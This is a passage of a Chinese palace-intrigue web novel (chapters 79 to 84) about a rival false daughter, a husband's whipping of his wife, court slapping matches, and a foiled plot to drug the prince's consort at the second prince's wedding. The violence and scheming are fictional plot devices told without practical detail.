雪儿刚从苏清欢手中躲过一劫,还没来得及高兴,就看到一个冷脸小厮站在自己面前,她还没来得及说话,嘴巴就被人捂着,整个人被粗暴地从庭院中央拽走。
院中国公府的其他婢女见状见怪不怪的低下头,也没有人多说什么。
雪儿就这样被小厮拖到了萧景宴的房中扔在地上。
雪儿得了自由,从地上爬起来,就看到萧景宴坐在高位上冷冷的睨着自己,她连忙跪回地上,给萧景宴磕头,“见过世子。”
萧景宴看着身上脏乱的雪儿,他嫌弃的皱了皱眉头,小厮立刻上前抓住雪儿的头发逼迫她抬头看着萧景宴,面色阴冷的对雪儿警告道,“一会儿世子问你什么,你就说什么!听到没有!”
雪儿感受到头发被揪起来,头皮上传来的生痛之感,她恐惧的闭着眼睛点头,“是。”
萧景宴瞧着被小小的收拾了一下就如同提线木偶一般的婢女,眼里闪过一丝无趣,他懒洋洋的问,“苏清欢和姜黎婳身世究竟是怎么回事?”
雪儿闭着的眼睛猛地睁开,她震惊的看着萧景宴,心头一沉,世子知道了?
第80章 打你还要看日子吗
是夜。
苏清欢看着忽然把婢女挥退,又脱了外服的萧景宴手握着短鞭走到自己床前,她疑惑地坐起身来,不解的看着萧景宴,轻声问,“世子,您这是做什么?”
“自然是和夫人你好好的玩一下了。”萧景宴脸上带着浅笑,眼底却闪烁着诡谲的光芒,“夫人不是很喜欢与为夫在这床上玩游戏吗?”
萧景宴说罢直接上前把苏清欢的亵衣撕烂,只剩下肚兜,他手中的鞭子狠狠地落在苏清欢的背上,语气带着前所未有的兴奋,“今夜本世子就陪你好好玩一下!”
苏清欢被萧景宴忽然抽过来的一鞭子打得整个人都恍惚了,感受到疼痛的时候,她倒吸了一口气,眼泪直接从眼眶滑落,她连忙爬起来要往床下跑,“世子你做什么?”
萧景宴一把拽住她的脚裸把她拉回来,眼底依旧闪烁着诡谲的光芒,“干什么?当然是陪你玩了啊!我的好夫人!”
他说着直接从一旁拿出几根丝带绑住苏清欢的四肢把她拴在床上,接着又是一鞭子落在苏清欢身上,看着她身上被打出血印的痕迹,他眼底的疯狂之色更为明显,“真漂亮!这印记太美了!”
苏清欢被吓到了,她使劲挣扎却发现根本没用,“萧景宴!你疯了!快放开我!”
“疯?”萧景宴眼底闪过一丝不耐,他一把捏住苏清欢的脸,眸中厌恶之色如寒冰刺骨,“本世子还有更疯狂的举动,你可想见识一番?”
“萧景宴!你敢这样对我?我可是你的夫人!你信不信我告你虐妻!”苏清欢是真的害怕萧景宴再打她,一时之间根本无法思考,只能口无遮拦。
萧景宴冷哼,“你若不怕你外室女充当真千金的事情闹开,那你大可以出去试试...”
苏清欢不挣扎了,她惊恐地看着手中握着短鞭的萧景宴,心头全是完了,他怎么知道了。
“怎么?被本世子知道了秘密,不挣扎了?”萧景宴想到姜黎婳那张绝美的脸,此时就巴不得把非要嫁给自己的苏清欢给弄死,他手上力道加重,“本世子就是有这种癖好,既然你千方百计的要嫁给本世子,那就给本世子受着!这是你应得的!”
冒牌货竟然敢代替真千金嫁给自己,还敢给他们假惹来这么多麻烦!
一个时辰后。
苏清欢麻木的坐在浴桶中清洗着身上的痕迹,身上的伤痕因为碰到热水疼痛翻倍,她疼得皱紧了眉头,脑海中不断地浮现先前萧景宴对自己所做的一切。
现在她终于知道为什么之前她为什么一到关键时刻就失去知觉了!
原来萧景宴他有那种特殊癖好!
如果没有那些东西加持,他根本没办法对她做任何事情!
所以以往萧景宴都是先把她迷晕之后才...
“雪儿!”苏清欢厉声喊道。
从萧景宴把她放回来之后就一直战战兢兢地雪儿听到苏清欢喊自己,她胆战心惊的快步走了进来,看到苏清欢身上的痕迹,雪儿连忙垂下头。
她先前在外面已经听到了小姐的哭喊和求救声,但是她不敢上前半步...
“贱人!”苏清欢见雪儿踏入门槛,也顾不得身上的疼痛了,猛地站起,挥手便给了雪儿一记响亮的耳光,怒斥道:“你这个不知死活的贱婢!竟敢背叛我!”
雪儿捂着火辣辣的脸,哭着跪在地上,“小姐,奴婢是被世子逼的啊!如果奴婢不说的话,世子会杀了奴婢的!”
“你说过不会背叛我的!”苏清欢从浴桶里出来,披上外衫就往雪儿身上踹,“贱婢!你害死我了!”
......
时间过得很快,一晃小半个月过去了。
二皇子的婚期也如约而至。
原本只打算出去玩几天就回来的楚御礼终于带着姜黎婳从山中小院回了京城。
慧贵妃和楚明暄母子二人也因为婚期到来暂时被解了禁足。
凤仪宫中。
慧贵妃等着那些嫔妃退下之后猛地站起来指着皇后,厉声道:“皇后,你简直卑鄙!”
皇后眼神骤然一冷,她的手往桌上狠狠一拍,厉声道:“佩蓉,慧贵妃以下犯上,给本宫掌嘴!”
慧贵妃眼睛一眯,冷笑,“你敢!”
两人之间剑拔弩张,战火一触即发。
“本宫乃后宫之主,你不过一阶贵妃,冒犯了本宫,你看本宫敢不敢打你!”皇后说罢直接站起来走到慧贵妃面前,抬手就赏了慧贵妃一巴掌。
“皇后,你敢打本宫!”
“打就打了,本宫身为皇后,教训你还要看日子吗?”皇后说罢反手有事一巴掌落在慧贵妃脸上,接着甩了甩打得有点痛的手,冷声道,“看来一个多月的禁足,还是没能让你好好反省一下。”
慧贵妃没想到以前被自己骂了只会灰头土脸忍气吞声的皇后如今竟然真的敢打自己,她捂着脸瞪皇后,“你不怕本宫告诉皇上吗?”
“你以下犯上,本宫教训于你,便是陛下在此,本宫亦无惧。”皇后说罢冷冷地下逐客令,“明日就是二皇子大婚了,本宫劝你还是回去用冰好好地敷一下吧,免得明儿个给二皇子丢脸。”
慧贵妃恶狠狠地剜了皇后一眼,“咱们走着瞧!我们看谁能笑到最后!”
慧贵妃离开,皇后脸上露出畅快的笑意,她看了一眼自己通红的手掌,“早知道打人这么爽,本宫以前忍着做什么?”
佩蓉无奈,“娘娘这次是真的把慧贵妃给得罪死了,就怕她狗急跳墙。”
“本宫还怕她不跳呢。”皇后吹了吹发红的手心,“不是说御儿他们要进宫吗?怎么还没过来?”
皇后话音刚落下,姜黎婳和楚御礼二人就从外面相携而来,看到脸色都很不错的两人,皇后脸上笑意更浓了,“正说着你们呢你们就来了,快过来坐。”
皇后仔细地打量了一下儿子的脸色,瞧着他面色红润,她心头忍不住满意的点头,然后又把目光落在姜黎婳脸上,瞧她脸上也不见憔悴之色,她笑着点头,“看来与苏家断绝关系,对你的影响不大,不错不错。”
姜黎婳笑了笑,“多谢母后关心。”
“既然和苏家断绝了关系,以后就别想着那些有眼无珠的人了,平白让自己心情不好。”皇后因为心情好,又忍不住多关心两句。
姜黎婳笑着点头,“儿臣知道的。”
主要是这几日,她根本没心思想苏家,应该说这些日子,她根本没时间想其他!
她这些日子不是在想办法躲某人,就是在想办法从某人的手上逃脱...
想到这里她忍不住幽怨地看了某人一眼,而某人感受到她的视线,还偏头过来看了她一眼,接着伸手拉着她,对皇后道,“母后放心,婳儿如今全身心都在儿臣身上,根本无心其他。”
皇后闻言欣慰地点头,“那就好那就好。”
她朝姜黎婳招手,姜黎婳站起来走过去站在她面前,她抓住姜黎婳的手,轻声问,“你和御儿成亲也有一些日子了,这肚子怎么还没动静?”
第81章 她怎么这么不要脸
翌日。
二皇子大婚,二皇子府被布置得喜气洋洋,只是身穿喜服的二皇子脸上并未带半分喜色,因为在他看来,娶一个比自己年纪大还长得不好看的女人对他来说根本不是喜事,而是丑事!
楚御礼和姜黎婳二人成亲的之前太后带着两个公主和几个皇子都去行宫避暑了,加上当时楚御礼是冲喜,皇室不是特别看重,再者因为楚御礼本人也不在意当时冲喜的新娘,所以几个皇子公主都没有回来。
但今日不同,除了太后依旧在行宫之外,其他几个皇子公主都回来了,京城能踏入二皇子府的达官显贵也几乎都到了。
姜黎婳今日一袭水蓝色抹胸束腰长裙,外罩轻薄如雾的白色细纱长衫,发髻高挽,饰以精巧的飞天钗,知夏更为她化了精致的妆容,额间点缀了一朵栩栩如生的花朵花钿,使得她本就妩媚的面容更添了几分勾魂摄魄之姿。
楚御礼今日穿的依旧是月白色的常服,不过今日他把所有长发束起,以一顶金冠固定,整个人添了几分肃杀之气。
楚御礼率先走下马车,回头去牵姜黎婳的手,姜黎婳把手放在他手心,借着他的力从马车上下来。
原本热闹纷腾的二皇子府门外因为两人的到来,忽然变得安静,众人纷纷把目光投在两人身上,就连在门口等新娘的楚明暄都看呆了。
楚御礼感受到周遭投来的目光,嘴角浅笑渐渐隐去,他侧首望向身旁笑语盈盈的娘子,轻叹一声,“早知道今日咱们就不来凑热闹了。”
“为何?”姜黎婳抬头有些不解地看他。
楚御礼牵住她的手往楚明暄那边走,一边低声道:“不想那些人都看你,你是我的。”
姜黎婳:“......”
她目不斜视的跟着楚御礼走到楚明暄面前,楚明暄知道自己的二皇子妃是皇后给父皇吹了枕边风才导致父皇给他选了一个又丑又老的女人,他心头恨极了皇后,对楚御礼自然也没有好脸色。
但是...
他把目光落在姜黎婳的脸上,眼底逐渐露出贪婪之色,“大皇嫂,你...”
他话还没说完,楚御礼就站到了姜黎婳面前,冷脸睨着他,“二弟眼瞎了,看不到皇兄?”
楚明暄眯眼睨了楚御礼一眼,但是想到之前父皇的警告,只能敷衍的拱手对楚御礼道:“大皇兄。”
楚御礼嗯了一声,拉着姜黎婳往二皇子府中走去。
原本想多看姜黎婳两眼的楚明暄回头只看到一个窈窕的背影,他舔了舔嘴角,心想他一定要快点把楚御礼那个短命鬼弄死,这样姜黎婳那个美人就可以是他的了!
苏清欢跟着萧景宴从马车上下来就看到了楚明暄那贪婪地眼神,她摸了摸自己手臂上的伤痕,眼底闪过一丝恶毒之色。
凭什么她在国公府遭受折磨,姜黎婳那个贱人却被楚御礼保护得好好的?姜黎婳那种爹不疼娘不爱的贱种就应该发烂发臭!她不配过得这么好!
想到这里她眼底闪过一丝疯狂之色,对,姜黎婳就应该被玩烂!凭什么上一世自己那么惨,姜黎婳却被保护的好好地!
她倒要看看姜黎婳被楚明暄玩坏了,楚御礼还会不会像如今这样护着她!
萧景宴刚刚下马车就看到了姜黎婳和楚御礼两人的背影,不过他之前目光都在两人身上,并未注意到楚明暄的眼神。
他收回目光冷冷的看了苏清欢一眼,警告道:“一会儿在宴席上你最好能和大皇子妃把关系缓和一下,少给我惹事。”
苏清欢抬头看了一眼眼底带着警告的楚明暄,乖巧的低头应是,“妾身知道的,妾身一会儿就去和大皇子妃道歉。”
楚明暄这才嗯了一声,抬步朝楚明暄走去。
楚明暄是个爱玩的,萧景宴在外人眼中也是个只会吃喝玩乐的纨绔,两人之前还在一起玩过,算得上是熟识,萧景宴过去与楚明暄见礼,然后提着贺礼先入府了。
府中。
酒席分了男女席,姜黎婳一过来就被早已经到了的五公主楚明珠拉到女席去了。
“大皇嫂,你额间的花钿真漂亮。”楚明珠拉着姜黎婳在靠着角落的位置坐下,“可惜如今我还没成亲,不能画。”
姜黎婳瞧着她那一脸羡慕的模样,“想成亲了?”
楚明珠脸颊微红,急忙辩解道:“哪有,我只是羡慕你能画那般精致的花钿在额间!大皇嫂,你可别打趣我!”
楚明珠说到这里往四周看了一眼,压低声音对姜黎婳道:“听说你见过二皇嫂啊?我以前见过二皇嫂,身材跟男人一样,不好看,听说二皇兄很不喜欢。”
姜黎婳回想起鲁卿秋那不算纤细的身影,虽非绝色,却也清俊好看,她微微蹙眉看了楚明珠一眼,“鲁小姐容貌端庄,可比二皇子俊逸许多。”
楚明珠以前见过鲁卿秋,但是自从三年前鲁卿秋被退婚之后,就再也没见过了,她也不知道鲁卿秋如今变成什么样了,自然不好再多说什么,只道:“那一会儿咱们去看看她好不好?你和大皇兄成亲的时候我就没在,没看到你穿喜服的样子,我觉得太可惜了。”
姜黎婳之前在行宫与楚明珠相处过,这丫头咋咋呼呼的,性格还不错,她也不排斥,加上自己与鲁卿秋也算是相识,便答应了。
刚走进来的苏清欢一进来就看到了姜黎婳与六公主,而且那六公主好像很喜欢姜黎婳,甚至与姜黎婳说话的时候都带着讨好。
她想起上一世这个六公主面对自己的时候,总是不屑一顾,如今她竟然去巴结姜黎婳!
到底为什么!姜黎婳有什么好的?为什么这些人一个两个都喜欢她!
苏清欢死死的捏着双手,她一定要让姜黎婳身败名裂!
“清欢姐姐,你在看什么?”一个轻快的声音打断了苏清欢的思绪。
苏清欢回头就看到身着桃红色如意百褶裙的蓝雪玲站在自己身边,苏清欢赶紧收敛起自己眼底的情绪,对蓝雪玲笑了笑,“就是看到大皇子妃了。”
她说着放低声音不经意的抱怨了一句,“也不知道那江南商户到底是如何培养她的,竟然让她能如此笼络人心。”
蓝雪玲顺着她的目光看过去,此时姜黎婳和六公主不知道说到了什么两人正相视一笑。
蓝雪玲被姜黎婳那妖媚绝色的容颜刺痛了眼睛。
这姜黎婳竟然长得这么漂亮!
那她还拿什么和姜黎婳争?
“我刚才下马车时,还撞见她和二皇子眼神暧昧呢!真是个不知检点的女人,见一个勾搭一个。”苏清欢叹了口气,“就是可怜了大皇子,本来就命不久矣,还对一个水性杨花的女人死心塌地。”
“你说什么?”蓝雪玲眼底的落寞立刻被憎恶掩盖,她恶狠狠地瞪着姜黎婳,“她竟然这么不要脸?”
第82章 你祖父没教过你尊卑礼仪吗
苏清欢投来的目光中蕴含着天生的敌意与深深的怨恨,所以姜黎婳早就察觉到了,但她并未放在心上。
听到了门外传来的鞭炮声,姜黎婳问楚明珠,“应该是新娘到了,你要去看热闹吗?”
楚明珠长这么大几乎没参加过婚宴,所以对婚宴特别感兴趣,她兴奋地点头,“要,我要看!”
“你去前面看吧,我在这儿等你。”姜黎婳看了一眼坐在旁边桌东张西望的六公主楚明月,“你把明月也带上。”
楚明珠嗯了一声,喊了一声楚明月,姐妹两人相携而去。
见状,苏清欢迈步向姜黎婳走去,蓝雪玲紧随其后跟了过去。
姜黎婳是看着苏清欢走近的,她手肘搭在桌上用手支着下巴,目光淡漠地盯着苏清欢一步一步朝自己走来,等苏清欢走近,她也不说话,就那样静静地看着苏清欢。
苏清欢像是要被姜黎婳看穿了一样,她不自在地弯了弯膝盖,“大皇子妃。”
姜黎婳轻轻挑眉,收回目光不再看他。
“喂,你这个人怎么这么没有礼貌,清欢姐姐在给你问好,你这人怎么不理人啊!”蓝雪玲见姜黎婳不搭理她们,立刻扬声朝姜黎婳质问。
蓝雪玲尖细的声音让姜黎婳微微蹙眉,但念及自己额间精心点了花钿,她随即舒展眉头,抬眼望向蓝雪玲,“请问你是?
“我是刑部尚书的孙女蓝雪玲!”蓝雪玲抬着下巴道。
姜黎婳挑眉,“我还以为是皇妃呢。”
“你什么意思?”
“本宫的意思是刑部尚书见了本宫都得行礼,你不过是他孙女,你在本宫面前趾高气扬地做什么?”姜黎婳脸色一沉,语气冰冷地问她,“你祖父未曾教你尊卑之分?苏清欢身为定国公府世子夫人,对本宫尚且恭敬有加,你身为刑部尚书的孙女,却在本宫面前放肆,莫非是不懂礼数?”
蓝雪玲从小到大都被宠着长大的,加上姑姑是皇妃,更是四妃之一的淑妃,即便是身为六公主的楚明珠有时候对她都要礼让两分,这姜黎婳不过是一个商户之女,竟然敢因为当了皇子妃就对她说这种话!
她气急败坏地指着姜黎婳,骂道:“你不过是一个小小的商户之女,根本配不上大皇子!”
姜黎婳挑眉,她这才抬眸正眼看向蓝雪玲,这蓝雪玲这么激动,莫不成是楚御礼的倾慕者?
蓝雪玲被姜黎婳这赤裸的目光看得有些不自在,她抿了抿嘴,梗着脖子问,“你看什么?”
“没看什么,只是好奇你哪儿来的自信敢过问大皇子的事情。”姜黎婳轻笑,“本宫配不配得上大皇子,关你屁事?”
“你这粗鄙的女人!大皇子知道你这么粗鄙吗?”蓝雪玲指着姜黎婳,因为太生气,满脸通红,“我一定要让大皇子看清楚你的真面目!”
姜黎婳瞧着这么容易就被自己气得跳脚的蓝雪玲,无趣地打了个哈欠,“别嘴上说,拿出点真本事来,不然就别在本宫面前瞎嚷嚷,真的很吵。”
“姜...”
“雪玲妹妹,你别激动。”苏清欢瞧见男席那边有人往这边看,赶紧拉着蓝雪玲离开姜黎婳这边,等走到一边人少的地方了,她才道:“你现在与她争论,别人只会说我们无理取闹。”
“那你说怎么办?”蓝雪玲回头瞪了姜黎婳一眼,“我要撕开她的真面目,让大皇子看清楚她是什么样的货色!”
“今天是二皇子的喜宴,人多,若是她和二皇子在今天闹出了什么丑事,你觉得她还活得成吗?”苏清欢怨毒的看了姜黎婳一眼,瞧着又有几个贵女去给姜黎婳行礼聊天,她气就不打一处来。
那些原本都是属于她的!
姜黎婳根本不配拿!
“姜黎婳又不蠢。”蓝雪玲眉头紧蹙,“今天人这么多,她即便真的和二皇子有什么,也不会在今天与二皇子做出过分的事情来!”
“那可由不得她了,一会儿...”苏清欢在蓝雪玲耳边低语了几句。
蓝雪玲因苏清欢的话,脸上阴霾渐散,旋即又疑虑的问道:“吕夫人会听你的吗?”
“她会的。”苏清欢说着得意的看了姜黎婳一眼,转身去找吕氏。
吕氏今天是一个人来的,她原本打算让苏承印跟着过来,但苏承印以读书为借口不愿意离开国子监,她就只能自己过来了。
她走进席间就看到了姜黎婳了,她身边围着一群人,她正要往前,就看到侄女吕静雅朝姜黎婳走了过去。
姜黎婳看到吕静雅走过来,对她一笑,“怎么现在才过来?”说着往吕静雅身后看了一眼,“外祖母和舅母呢?”
“祖母知道今儿这婚宴姑母一定会参加,所以不愿意出门,就让我和母亲来了。”吕静雅走过来,那些围着姜黎婳的小姐们纷纷起身告辞,她就在姜黎婳身边坐下,“母亲去与舅母她们说话去了,我看表姐你在这儿,就过来了。”
“别叫表姐了,以后就叫姐姐,好听些。”姜黎婳如今听到表姐两个字就想到苏家,她不想再和苏家扯上任何关系。
半个多月前姜黎婳与苏家的事情闹得沸沸扬扬,如今她倒是的确不适合在人多的地方叫姜黎婳表姐,边点头叫了一声,“婳姐姐。”
姜黎婳轻拍吕静雅手背,关切地询问起胡氏的近况。
“祖母这些日子心情一直不好,婳姐姐如果有空的话,希望你能多回去看看祖母,宽慰一下她。”吕静雅瞥向正与苏清欢交谈的吕氏,轻声透露:“姑母曾回过伯府,被祖母拒之门外了,祖母说要与姑母断绝母女关系,那之后姑母再未回过伯府。”
姜黎婳闻言轻哼了一声,“她早晚后悔。”
说起这事儿来,其实姜黎婳有点好奇苏承印心头的想法,他明明已经到了他爹在外面有外室,为何一直不愿意去面对,甚至不愿意告诉吕氏?若他站在苏建明那边帮忙瞒着吕氏的话,那还真是一个彻彻底底的白眼狼。
另一边吕氏听了苏清欢的话,沉声道:“我与她没什么好说的,她又不是我的女儿,我们没必要与她再有牵扯。”
苏清欢心中暗骂吕氏愚昧,面上却维持着乖巧的笑容,她挽着吕氏的手臂轻声说:“母亲,我知道上次是我的错,都是因为我才导致妹妹与你的关系变得恶劣,甚至不惜与我们断绝关系,但她毕竟是您和爹爹的亲女儿,女儿实在是不忍心瞧着您难过,女儿其实知道您是舍不得妹妹的。”
吕氏瞧着苏清欢乖巧的模样,心头说不上的怪异,但是她却不知道到底是什么地方怪异。
第83章 姜黎婳你清高什么
吕氏这些日子想了很多,她以前害怕姜黎婳因为是自己亲生女儿的缘故回家之后欺负清欢,所以处处维护清欢,防着姜黎婳,后来几乎是养成了习惯,只要苏清欢在她面前露出委屈的表情,她就下意识的认为是姜黎婳找了清欢的麻烦。
后来姜黎婳不再像刚回来的时候那样对她恭敬客气,她们母女之间就更疏远了,她瞧着总是对自己冷眉冷眼的姜黎婳,在瞧着在自己身边承欢膝下的苏清欢,就更不喜欢姜黎婳了。
再后来家中发生了种种事情,她更觉得是姜黎婳的错,若姜黎婳不回来的话,这一切都不会发生,她们苏家一家人依旧是和和美美的。
但真正的和姜黎婳断绝关系之后,她心中一直堵闷着一口气,母亲也不想再认她...
她想难道是她错了?
母亲说,如果姜黎婳没有被调换,她也会在自己身边开心快乐的长大...
苏清欢让她去找姜黎婳好好谈谈的声音还在耳边不停地回响,吕氏闭上了眼睛,等耳边清静了,她才睁开眼睛看了苏清欢一眼,轻声问,“清欢,你不希望我和她断绝关系吗?”
苏清欢被吕氏这话问得一怔,她张了张嘴,想到姜黎婳刚刚那张得意的脸,她就嫉妒的发狂,巴不得立刻在姜黎婳的脸上踩上两脚。
没听到苏清欢的回答,吕氏偏头看向苏清欢,“清欢?”
苏清欢对着吕氏勉强挤出一抹苦笑,轻声道:“尽管我渴望母亲只属于我一人,但是我更不愿见到母亲您伤心难过。”
“我不伤心!”像是害怕自己承认自己后悔了,吕氏几乎是低吼出来,“我不难过!”
苏清欢眼皮抬了抬,她拉着吕氏的手,低声道:“母亲,你别激动,都怪女儿,女儿不应该替您做决定的,只是...”
她叹了口气,“大皇子妃未免太绝情了,那件事我承认是我的错,但她冲着我来就是,她竟然还坚决的要与你们断绝关系,真是一点都不顾念骨肉亲情。”
“清欢。”吕氏扯开苏清欢拉着自己的手,眉头微蹙,语气中也带着一丝警告,“我们苏家与她没有半分关系,她只是我们苏家认错的小姐,这是皇上要我们苏家当着世人的面澄清的,你不要再说大皇子妃与我们苏家有关系了,若下次你再被抓住把柄,即便是母亲,也无法再保你了。”
苏清欢手指一僵,她低下头,目光落在被吕氏推开的手上,轻轻捏了捏手指,眼中掠过一抹恨意,随即她点了点头,“女儿明白了,以往是我太过任性,日后我定会尽量避开大皇子妃。”
苏清欢说到这里往蓝雪玲那边看了一眼,抿嘴道,“雪玲妹妹还在等着女儿,女儿先过去她那边了。”
她说完也不等吕氏回答,转身就往蓝雪玲那边走去。
吕氏回头看了苏清欢的背影一眼,她总感觉今天苏清欢与自己说这么多并没有这么简单,她让自己去接近姜黎婳也好像抱着其他的目的。
吕氏收回目光,看向正在与吕静雅说话的姜黎婳,吕氏第一次发现姜黎婳竟然生得如此漂亮,与年轻的自己很像,但比年轻的自己更美几分,一举一动都透露着一个自信惑人的魅力。
姜黎婳感受到了吕氏的目光,她抬眸看了吕氏一眼,和吕氏目光相撞的那一刹那,吕氏垂下了目光,姜黎婳没有在意收回了目光。
这边蓝雪玲在苏清欢回来之后就问,“怎么样了?吕夫人同意帮忙了吗?”
苏清欢摇头,“我娘太善良了,她说大皇子妃是什么样的人,不需要我们来揭穿。”
蓝雪玲眉头一皱,语气不好,“那今天姜黎婳岂不是不能出丑了?”
苏清欢双手死死的揪住衣袖,语气阴沉,“她今天一定要出丑!”
说完她起身大步离开。
楚明珠和楚明月姐妹二人观礼回来就要拉着姜黎婳去新房看新郎揭盖头,姜黎婳先前答应了楚明珠要一同前去,便问吕静雅去不去,吕静雅点头,“好啊。”
几人便一同往后院而去。
虽说是二皇子成亲,但因为邀请宾客众多,加上是喜事,皇室自然也不会扰了大家看热闹的兴致,便也没有拘束客人。
姜黎婳几人到新房的时候,门口都堵了很多人了。
她们几人站在人群后方,听着前面的讨论声。
“这鲁小姐瞧着好像比三年前瘦了些。”
“是啊,我记得她以前壮得跟头牛一样,今天瞧着好像还有瘦了不少呢。”
“毕竟是要嫁给二皇子的人,二皇子爱美的事情谁人不知?为了讨好二皇子,她肯定会减重啊,说不定这些日子在绝食瘦身呢。”
“那今晚洞房花烛可不是会没力气?”
“这种事情哪儿需要她有力气,二皇子有力气不就行了?”
姜黎婳听着前面这些人的污言秽语,眉头微微皱了起来,她对楚明珠说了句,“你们先看,我一会儿等人散了之后再过来。”
楚明珠一心想往前面挤,加上不谙世事,所以并不清楚先前那些人说话的意思,听姜黎婳要离开,她也没有太在意,只道:“那一会儿我再来找大皇嫂。”
吕静雅爱看话本,也听出了刚刚那些人说那话的意思,她从心底里瞧不上这些对女子身材挑三拣四的男人,她便跟着姜黎婳一同离开了。
“那些纨绔嘴里真是吐不出一句好话来,听着真恶心。”花园中,跟在姜黎婳身后的吕静雅语气略带嫌弃的撇了撇嘴,“也不看看自己长什么样,还好意思挑剔女人的身材了。”
“姜黎婳!”
苏清欢忽然从旁边的假山后面走出来拦住了二人的去路。
姜黎婳瞧着阴魂不散的苏清欢只觉得厌烦,她脸色一沉,冷冷道:“滚。”
“姜黎婳你在得意什么?”苏清欢不仅不滚,还往前面走了一步,她比姜黎婳矮一些,所以看姜黎婳的时候需要抬着头,不过这丝毫不影响她在姜黎婳面前的优越感,“你不过是被母亲厌弃的废物罢了,无论是你回来,还是你成为了皇子妃,母亲喜欢和选择的那个人始终是我!就算我诋毁你又如何,母亲照样不会怪我!”
“那可真是恭喜你。”姜黎婳面无表情的说道,“还有事吗?”
“你嫉妒你就明说,一天装着一副满不在乎的样子给谁看!你若真不在乎的话,你有本事把那些嫁妆全都退回来啊!装作一副清高的模样,却还不是昧下了外祖母准备的那些嫁妆!”
不等姜黎婳开口,吕静雅先听不下去了,她一步走上前来,站在姜黎婳面前,瞪眼看向苏清欢,咬牙切齿的骂道:“苏清欢!那些嫁妆都是我祖母给大皇子妃准备的,你凭什么要回去?”
第84章 你帮不帮我
“以前看到我就绕道走的缩头乌龟,如今倒成了姜黎婳的走狗了。”苏清欢对着吕静雅冷嗤了一声,“怎么?她赏你骨头了..”
啪...
姜黎婳一巴掌落在苏清欢脸上,苏清欢的声音被她这一巴掌打断,她一下子觉得耳边清静了。
刚刚被人大力扯到一边去的吕静雅:“......”
表姐刚刚是怎么做到在一瞬间把自己拉开,然后一巴掌摔在苏清欢脸上的?
太帅了吧!
苏清欢不可置信的看着竟然敢在二皇子婚宴上扇自己巴掌的姜黎婳,“你打我?”
“骨头没有,巴掌倒是可以赏你不少。”姜黎婳冷眼看着苏清欢,“滚不滚?”
苏清欢紧紧地咬着后槽牙,双目憎恶的瞪着姜黎婳,“姜黎婳你给我等着!”
她转身大步离开。
“找虐。”姜黎婳翻了个白眼,抬步往凉亭而去。
吕静雅一脸崇拜的跟在她身后,“婳姐姐,你刚刚的那一巴掌,简直太帅了!”
“她就是单纯过来找打的,我不满足她,她是不会走的。”姜黎婳在凉亭的座凳楣子上坐下,“一巴掌就可以解决的事情,何须与她废话。”
吕静雅不明觉厉的点了点头,“学到了。”
姜黎婳瞧她一脸疑惑的模样就知道她并未学到,但是这些吕静雅也不用学。
这边苏清欢捂着脸走到一边,看到蓝雪玲对自己点了点头,她眼中闪过一丝阴鸷,嘴角勾起一抹冷笑,“姜黎婳,我看你能得意到什么时候!”
姜黎婳和吕静雅两人刚坐下不久,就有婢女端着茶水和点心过来了。
婢女放下点心,又给两人倒了茶水,“大皇子妃若有什么吩咐,只管叫奴婢们。”
说罢婢女退了下去。
吕静雅等婢女退下去之后起身拿起一块糕点尝了尝,点头,“不愧是宫中御厨做出来的点心,甜而不腻,口感细腻,云酥斋的糕点都比不上它。”
她拿了一块递给姜黎婳,“婳姐姐你尝尝?”
“我不爱吃糕点。”姜黎婳婉拒,伸手端起茶水,“我喝茶就是。”
她把茶水放到唇边,忽然眉头皱了皱,她看了一眼走远的婢女,出声喊住正要喝茶的吕静雅,“静雅,你看过戏吗?”
吕静雅闻言,眼眸一亮,嘴角含笑点头,“当然看过,我最爱看的就是牛郎织女和嫦娥奔月的戏文了!”
“那一会儿我们也演一出美人醉酒如何?”姜黎婳冲吕静雅微微一笑,接着把手中的茶水往伸手一抛,茶水在空中抛出一条好看的抛物线,坠入池中,“然后捉鬼。”
吕静雅不笨,她看到姜黎婳的动作,手中的动作一僵,她垂眸看了一眼自己刚刚差点一口闷的茶水,语气有些僵硬,“茶水里面有什么?”
“媚药。”姜黎婳轻嗤,“二皇子府果然不同凡响,这种东西竟然连二皇子大婚之日都能出现。”
吕静雅手脚僵硬的把手中的茶水放在桌上,然后把剩下的点心也放下,“谁要害我们啊?”
“一会儿不就知道了吗?”姜黎婳边说边单手托腮,另一只手则轻轻端着吕静雅那杯茶一挥,将茶水倾倒在湖中,眼神中带着几分狡黠,“你就趴在桌上小憩片刻,配合我就行。”
吕静雅应了一声趴在桌上装睡,不过因为是装睡,她的眼睑不由自主地轻轻颤动,姜黎婳瞧着她一直在动的睫毛,笑着道:“你也可以睁开眼睛的。”
“我害怕露馅儿。”吕静雅红着脸道,“我不会演戏。”
“那一会儿你只用说好热这两个字就是,剩下的交给我。”姜黎婳说着就撑着桌子站起来,扬声喊道,“来人。”
她话音落下没一会儿先前那个婢女就从远处的长廊下快步走了过来,“大皇子妃,您有什么吩咐?”
“带我们回前院的宴席厅。”姜黎婳眉头皱了皱,脚下一个踉跄,“我怎么有些头晕...”
她伸手去拍趴在桌上的吕静雅,“静雅?你怎么了?”
又甩了甩自己的头,“怎么回事?我的头好晕。”
婢女瞧着姜黎婳的反应,轻声道:“大皇子妃应该是有些暑热,奴婢先带您和吕小姐去客房休息一下吧?”
姜黎婳闻言皱了皱眉头,“一会儿宴席应该要开始了。”
“宴席开始前,奴婢叫您过去。”婢女贴心的上前扶着姜黎婳的手,“您看上去很累,先去休息一下吧。”
“婳姐姐,我好热啊,咱们去换身衣裳吧。”吕静雅忽然站起来对姜黎婳说道。
姜黎婳瞧着满脸通红眼神恍惚的吕静雅,眸光轻转,心中暗忖:这哪里是不会演戏?分明比她还要入木三分。
“那你带我们过去。”
婢女应声带着扶着姜黎婳,姜黎婳推开婢女,抬手揉了揉眉心,“我自己可以走。”
婢女最终还是扶着两个神志不清的人走到了准备好的房间。
她从房间里面走出来,对苏清欢和蓝雪玲福了福身子,“两位已经歇下了。”
蓝雪玲递了一张百两银票给婢女,“三刻钟后把前厅的客人都引过来。”
苏清欢推开门看了一眼屋中躺在床上的姐妹两人,她眼中闪过一丝疯狂之色,“我去把二皇子找过来!你守着她们。”
“吕静雅怎么处理?”蓝雪玲眉头微蹙。
只是姜黎婳和二皇子两人在这人被抓的话还说得过去,但再加一个吕静雅,一会儿谁都知道有蹊跷的!
“二皇子喜欢刺激,姜黎婳和吕静雅玩得好,谁知道她们是不是一丘之貉?”苏清欢往里面看了一眼,眼底那疯狂之色愈发明显,“我就要她们两个一起身败名裂!”
蓝雪玲蹙眉,“那你快点回来!”
苏清欢应了一声,“你放心好了,二皇子玩高兴了,说不定还要感谢我们呢。”
